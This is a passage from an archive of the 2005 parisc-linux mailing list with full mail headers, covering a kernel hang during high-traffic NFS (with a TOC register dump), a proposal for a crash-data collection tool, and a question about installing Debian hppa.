	Wed, 20 Jul 2005 00:59:43 -0600 (MDT)
Original-Received: from pn2ml5so.prod.shaw.ca ([10.0.121.149])
	by pd4mr5so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IJW00MGOZFJIKN0@pd4mr5so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 20 Jul 2005 00:59:43 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0IJW00826ZFJR5@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 20 Jul 2005 00:59:43 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id j6K6xgAK018402;
	Wed, 20 Jul 2005 00:59:42 -0600
In-reply-to: <20050720010425.GC24060@roadwarrior.mcmartin.ca>
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OJOvYqwheSEkSL6WZHQhaXN1IGRvbwAM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22950

Kyle McMartin wrote:

> TOC dump, IIR, IOAQ/IASQ locations? Come on people... It's really hard
> to even begin to figure out what's wrong if no debugging information
> has been provided...
> 
> http://www.parisc-linux.org/faq/kernelbug-howto.html

I apologize - I had not seen that page before.  I should have done more
research myself before reporting the issue.

There is no console output prior to the hang, and no kernel fault to
obtain the IAOQ/IASQ information from.  I did perform a TOC.  The data
from that is below.

If there is any further information that might help, please let me know.

	Kurt.


Information about the machine/kernel:
- Kernel 2.6.12-pa2
- Compiled with gcc 3.3.5 (Debian 1:3.3.5-13), Binutils 2.15-6
- B132L w/ 3COM 3c905 ethernet card
- System map at http://www.excelcia.org/~kfitzner/System.map-2.6.12
- Kernel config at http://www.excelcia.org/~kfitzner/config-2.6.12

Output of "ser pim toc":
General Registers 0 - 31
 0 -  3  0x00000000  0x10000000  0x101e3910  0x00000000
 4 -  7  0x1389a14c  0x1389a034  0x105fcf60  0x1389a108
 8 - 11  0x00000000  0x1389a14c  0x00000200  0x15273720
12 - 15  0x00000200  0x00000200  0x00000200  0x00000000
16 - 19  0x14502640  0x10428768  0x00000001  0x000280ca
20 - 23  0x17468122  0x000280ca  0x00000015  0x00000000
24 - 27  0x0000010f  0x1389a0f8  0x17468122  0x10412010
28 - 31  0x00000000  0x03980700  0x13980940  0x1014b700

Control Registers 0 - 31
 0 -  3  0x00000000  0x00000000  0x00000000  0x00000000
 4 -  7  0x00000000  0x00000000  0x00000000  0x00000000
 8 - 11  0x00002632  0x00000000  0x000000c0  0x00000010
12 - 15  0x00000000  0x00000000  0x0010b800  0xf1000000
16 - 19  0x4c31b913  0x00000000  0x1010c1b0  0x001f0e60
20 - 23  0x00000000  0x1010c19c  0x0004ff00  0x01000000
24 - 27  0x004a0000  0x0342a000  0xffffffff  0x40e5fb80
28 - 31  0xaaaaaaaa  0x11111111  0x13980000  0x104ac000

Space Registers 0 - 7
 0 -  3  0x00000000  0x00000000  0x00000000  0x00001319
 4 -  7  0x00000000  0x00000000  0x00000000  0x00000000

IIA Space                    = 0x00000000
IIA Offset                   = 0x1010c1b0
CPU State                    = 0x9e000001
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Machine hanging during high-traffic NFS
Date: Thu, 21 Jul 2005 01:42:12 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <42DF51D4.3010106@excelcia.org>
References: <42DD6A7F.8090706@excelcia.org>
	<20050720010425.GC24060@roadwarrior.mcmartin.ca>
	<42DDF65E.7010605@excelcia.org> <20050720164058.GA3681@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623858 15736 80.91.229.3 (22 Nov 2014 02:37:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 07:42:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 21 Jul 2005 09:42:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 954337D6C3;
	Thu, 21 Jul 2005 01:42:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04487-10; Thu, 21 Jul 2005 01:42:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BA687D6C6;
	Thu, 21 Jul 2005 01:42:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 63A4D7D6C2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 01:42:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04522-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 01:42:13 -0600 (MDT)
Original-Received: from pd3mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id C65CE7D6C1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 01:42:13 -0600 (MDT)
Original-Received: from pd2mr7so.prod.shaw.ca (pd2mr7so-qfe3.prod.shaw.ca [10.0.141.10])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0IJY00ASVW2CZE40@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 21 Jul 2005 01:42:12 -0600 (MDT)
Original-Received: from pn2ml4so.prod.shaw.ca ([10.0.121.148])
	by pd2mr7so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IJY0051PW2CWEP0@pd2mr7so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 21 Jul 2005 01:42:12 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0IJY007D2W2C6M@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 21 Jul 2005 01:42:12 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j6L7gCH4023898	for
	<parisc-linux@lists.parisc-linux.org>; Thu, 21 Jul 2005 01:42:12 -0600
In-reply-to: <20050720164058.GA3681@colo.lackof.org>
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: szStYg5ReSEkQ76WZHQhaXN1IGRvbwD2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22951

John David Anglin wrote:
> 2.6.8.1-pa11 is quite stable (12 days up and numerous GCC builds).

I have switched to that version and now cannot reproduce the hang
problem.  Thank-you for the suggestion.

> It might help to have a "stable" branch that is maintained longer
> than is current practice.  At a minimum, the current tree needs to
> be slushed until the main problems are resolved.
> Grant Grundler wrote:

I am used to the old classic 'stable' line where each successive kernel
release under the stable tree was (theoretically) more stable than the
previous one.  Perhaps, at a suggestion, a compromise can be reached by
relabelling kernels.  When one is found to be quite stable label it the
2.6.N-paX.  Other than that, call them 2.6.N-paX-test.

It shouldn't require too much in the way of maintenance and it might
keep naive users (like me) from using unstable kernels before they are
ready to give meaningful bug reports and feedback on problems in them.

Grant Grundler wrote:
> Sounds like either an interrupt storm from the card or a deadlock
> in nfs code. Unfortunately TOC doesn't provide more stack trace
> informaion. And I'm not able to chase NFS issues at the moment.

I 'downgraded' to 2.6.8.1-pa11 as Mr. Anglin suggested and I am not able
to reproduce the hang.  Would it be helpful if I were to identify the
exact kernel version where the hang first begins to occur?

	Kurt.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bug report data collection tool
Date: Thu, 21 Jul 2005 01:51:04 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <42DF53E8.5010904@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623859 15740 80.91.229.3 (22 Nov 2014 02:37:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 07:51:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 21 Jul 2005 09:51:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 18DFB7D6D3;
	Thu, 21 Jul 2005 01:51:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04867-07; Thu, 21 Jul 2005 01:51:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0882A7D6D4;
	Thu, 21 Jul 2005 01:51:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 319757D6CD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 01:51:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04864-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 01:51:06 -0600 (MDT)
Original-Received: from pd4mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 9CF1C7D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 01:51:06 -0600 (MDT)
Original-Received: from pd3mr4so.prod.shaw.ca
	(pd3mr4so-qfe3.prod.shaw.ca [10.0.141.180]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0IJY00H9XWH5UD60@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 21 Jul 2005 01:51:05 -0600 (MDT)
Original-Received: from pn2ml4so.prod.shaw.ca ([10.0.121.148])
	by pd3mr4so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IJY00564WH5LMO0@pd3mr4so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 21 Jul 2005 01:51:05 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0IJY00G0OWH5HF@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 21 Jul 2005 01:51:05 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j6L7p4aE023957	for
	<parisc-linux@lists.parisc-linux.org>; Thu, 21 Jul 2005 01:51:05 -0600
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ojatYmM3eSEkWr6WZHQhaXN1IGRvb0DH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22952

I was thinking that perhaps it would be useful to have a tool to help
collate information after a hang/crash.  Something you would run on the
next boot.

I wasn't able to tell from a cursory glance at pdc_stable.c, but if the
driver supports it then perhaps the tool could read HPMC/TOC data post
crash from nvram (rather than having to write out or use a serial
console to capture 'ser pim' data).  It could then cross reference the
crash address with the System.map, gather pre-crash data from the logs
and a machine profile from /proc.

If something like this would be useful, I could do with having a project
to help me learn the ropes.

	Kurt.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Karthik <molecularbiophysics@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian hppa request install
Date: Thu, 21 Jul 2005 10:35:50 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <a015f9a00507210135b8b9071@mail.gmail.com>
Reply-To: Karthik <molecularbiophysics@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623859 15743 80.91.229.3 (22 Nov 2014 02:37:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 08:36:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 21 Jul 2005 10:36:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3BBA47D6DD;
	Thu, 21 Jul 2005 02:35:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05170-06; Thu, 21 Jul 2005 02:35:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 986B47D6E1;
	Thu, 21 Jul 2005 02:35:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E609C7D6D9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 02:35:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05137-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 02:35:52 -0600 (MDT)
Original-Received: from nproxy.gmail.com (nproxy.gmail.com [64.233.182.199])
	by free.linux.hp.com (Postfix) with ESMTP id 263BF7D6D4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 02:35:51 -0600 (MDT)
Original-Received: by nproxy.gmail.com with SMTP id i2so12304nfe
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 01:35:50 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=X3ERdKBV0r+hRgdh+TYw+y94ydI7jS1iY//MG9krjqKWkh15orqMUe9YKiG21Ly8t5dPVLomwQEbZjvTSF0sGSE8y8HiEtm/3zOhPRgTATiiXHvSaZAg1H4HUN0qyClGvweBNxFDAq7m/Z+Z8FuyBB26lvjTUxPmzp8mPa7Cpms=
Original-Received: by 10.48.250.11 with SMTP id x11mr43948nfh;
	Thu, 21 Jul 2005 01:35:50 -0700 (PDT)
Original-Received: by 10.48.250.15 with HTTP; Thu, 21 Jul 2005 01:35:50 -0700 (PDT)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IjutYkNxeSEkVb6WZHQhaXN1IGRvb4Ah
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22953

Hi Gurus,

I plan to install Debian hppa in 712/60. I hope to install the basic
packages with CD1 and later install other packages with "apt-get". Can
anyone confirm me if the following image is the correct one to start
with?

http://cdimage.debian.org/debian-cd/3.1_r0a/hppa/iso-cd/debian-31r0a-hppa-b=
inary-1.iso

1. Will it result in a minimum install system (with network)?
2. Is 96MB memory OK for debian installer to work?

Apologies if this question is too un-nerdish....

Many thanks...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
